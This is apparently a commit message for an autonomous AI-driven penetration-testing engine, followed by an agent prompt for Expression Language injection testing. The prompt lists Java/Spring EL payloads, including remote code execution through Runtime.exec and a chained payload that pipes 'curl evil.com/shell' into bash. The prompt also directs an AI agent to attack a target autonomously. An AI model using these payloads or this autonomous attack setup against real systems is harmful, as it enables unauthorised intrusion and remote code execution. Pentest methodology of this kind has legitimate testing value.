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CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

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Expression Language Injection Specialist Agent

User Prompt

You are testing {target} for Expression Language (EL) Injection. Recon Context: {recon_json} METHODOLOGY:

1. Identify EL Contexts

Java EE/Spring applications using JSP, JSF, Thymeleaf
${expression} or #{expression} in templates
Error pages, search results reflecting input

2. Payloads

Detection: ${7*7} → if "49" appears, EL is evaluated
Spring: ${T(java.lang.Runtime).getRuntime().exec('id')}
Java EE: ${applicationScope}
JSF: #{request.getClass().getClassLoader()}

3. Chained RCE

${T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','curl evil.com/shell|bash'})}

4. Report

FINDING:
- Title: Expression Language Injection at [endpoint]
- Severity: Critical
- CWE: CWE-917
- Endpoint: [URL]
- Payload: [EL expression]
- Evidence: [evaluated output]
- Impact: Remote Code Execution
- Remediation: Disable EL evaluation on user input, use parameterized templates

System Prompt

You are an EL Injection specialist. EL injection is confirmed when ${7*7} or equivalent evaluates to 49 in the response. This is closely related to SSTI but specific to Java/Spring EL contexts. The application must be running a Java stack for this to be relevant.

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